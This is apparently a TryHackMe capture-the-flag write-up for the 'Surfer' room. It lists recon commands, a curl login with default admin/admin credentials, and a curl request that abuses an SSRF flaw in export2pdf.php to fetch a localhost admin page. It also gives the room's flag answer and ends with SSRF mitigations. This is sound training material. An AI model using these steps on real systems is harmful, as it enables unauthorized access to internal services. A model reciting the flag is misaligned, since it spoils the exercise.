Surfer

Introduction: Web app with hidden internal pages. The challenge mentions an SSRF vulnerability. Goal: Access restricted admin functionality.

What You Did:

Login with default creds (admin/admin)
Found export2pdf.php endpoint that accepts URLs
Exploited SSRF by passing url=http://127.0.0.1/internal/admin.php
Server fetched the internal page and returned it as a PDF
Extracted flag from PDF

Woah, check out this radical app! Isn't it narly dude? We've been surfing through some webpages and we want to get you on board too! They said this application has some functionality that is only available for internal usage -- but if you catch the right wave, you can probably find the sweet stuff!

Access this challenge by deploying both the vulnerable machine by pressing the green "Start Machine" button located within this task, and the TryHackMe AttackBox by pressing the "Start AttackBox" button located at the top-right of the page.

Navigate to the following URL using the AttackBox: HTTP://MACHINE_IP

Check out similar content on TryHackMe:

SSRF

Answer the questions below

Uncover the flag on the hidden application page. flag{6255c55660e292cf0116c053c9937810}

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt

nmap -p- -sV <IP_Address>

 curl -c cookies.txt -d "username=admin&password=admin" http://<IP_Address>/login.php
 <!DOCTYPE html>
 <html lang="en">

 <head>
   <meta charset="utf-8">
   <meta content="width=device-width, initial-scale=1.0" name="viewport">

   <title>24X7 System+</title>
   <meta content="" name="description">
   <meta content="" name="keywords">

   <!-- Favicons -->
   <link href="assets/img/favicon.png" rel="icon">
   <link href="assets/img/apple-touch-icon.png" rel="apple-touch-icon">

   <!-- Vendor CSS Files -->
   <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
   <link href="assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
   <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
   <link href="assets/vendor/quill/quill.snow.css" rel="stylesheet">
   <link href="assets/vendor/quill/quill.bubble.css" rel="stylesheet">
   <link href="assets/vendor/remixicon/remixicon.css" rel="stylesheet">
   <link href="assets/vendor/simple-datatables/style.css" rel="stylesheet">

   <!-- Template Main CSS File -->
   <link href="assets/css/style.css" rel="stylesheet">

 </head>

 <body>

   <main>
     <div class="container">

       <section class="section register min-vh-100 d-flex flex-column align-items-center justify-content-center py-4">
         <div class="container">
           <div class="row justify-content-center">
             <div class="col-lg-4 col-md-6 d-flex flex-column align-items-center justify-content-center">

               <div class="d-flex justify-content-center py-4">
                 <a href="index.php" class="logo d-flex align-items-center w-auto">
                   <img src="assets/img/logo.png" alt="">
                   <span class="d-none d-lg-block">24X7 System+</span>
                 </a>
               </div><!-- End Logo -->

               <div class="card mb-3">

                 <div class="card-body">

                   <div class="pt-4 pb-2">
                     <h5 class="card-title text-center pb-0 fs-4">Login to Your Account</h5>
                     <p class="text-center small">Enter your username & password to login</p>
                   </div>

                   <form class="row g-3 needs-validation" novalidate action="verify.php" method="POST">

                     <div class="col-12">
                       <label for="yourUsername" class="form-label">Username</label>
                       <div class="input-group has-validation">
                         <span class="input-group-text" id="inputGroupPrepend">@</span>
                         <input type="text" name="username" class="form-control" id="uname" required>
                         <div class="invalid-feedback">Please enter your username.</div>
                       </div>
                     </div>

                     <div class="col-12">
                       <label for="yourPassword" class="form-label">Password</label>
                       <input type="password" name="password" class="form-control" id="psw" required>
                       <div class="invalid-feedback">Please enter your password!</div>
                     </div>
                     <div class="col-12">
                       <button class="btn btn-primary w-100" type="submit">Login</button>
                     </div>
                   </form>

                 </div>
               </div>

               <div class="credits">
                 <!-- All the links in the footer should remain intact. -->
                 <!-- You can delete the links only if you purchased the pro version. -->
                 <!-- Licensing information: https://bootstrapmade.com/license/ -->
                 <!-- Purchase the pro version with working PHP/AJAX contact form: https://bootstrapmade.com/nice-admin-bootstrap-admin-html-template/ -->
                 <a href="https://bootstrapmade.com/"></a>
               </div>

             </div>
           </div>
         </div>

       </section>

     </div>
   </main><!-- End #main -->

   <a href="#" class="back-to-top d-flex align-items-center justify-content-center"><i class="bi bi-arrow-up-short"></i></a>

   <!-- Vendor JS Files -->
   <script src="assets/vendor/apexcharts/apexcharts.min.js"></script>
   <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
   <script src="assets/vendor/chart.js/chart.min.js"></script>
   <script src="assets/vendor/echarts/echarts.min.js"></script>
   <script src="assets/vendor/quill/quill.min.js"></script>
   <script src="assets/vendor/simple-datatables/simple-datatables.js"></script>
   <script src="assets/vendor/tinymce/tinymce.min.js"></script>
   <script src="assets/vendor/php-email-form/validate.js"></script>

   <!-- Template Main JS File -->
   <script src="assets/js/main.js"></script>

 </body>
 </html>

curl -b cookies.txt -d “url=http://127.0.0.1/internal/admin.php” http://<IP_Address>/export2pdf.php -o flag.pdf

strings flag.pdf | grep -i “flag\|thm”

pdftotext flag.pdf - | grep -i “flag\|thm”

Conclusion - Technical Analysis & Recommendations:

Vulnerability: Server-Side Request Forgery (SSRF) via unvalidated URL parameter in export2pdf.php.

Root Cause: Application accepts arbitrary URLs without validating against internal/private IP ranges, allowing attackers to bypass network segmentation and access localhost resources.

Mitigation Strategies:

Input Validation: Implement strict URL allowlisting - only permit known external domains
IP Blacklisting: Block requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
Network Segmentation: Deploy web-facing services in DMZ with no direct access to internal resources
Disable URL Redirects: Prevent attackers from bypassing filters via HTTP redirects (301/302)
Authentication on Internal Services: Never rely solely on network location (localhost) for security
Response Filtering: Sanitize or block responses from internal IPs before returning to users

Additional Findings:

Weak default credentials (admin/admin) enabled initial access
No rate limiting on PDF generation endpoint
Internal admin panel accessible via localhost without additional authentication layer

Defense-in-Depth: Combine network controls, input validation, and zero-trust architecture to prevent SSRF exploitation even if one control fails.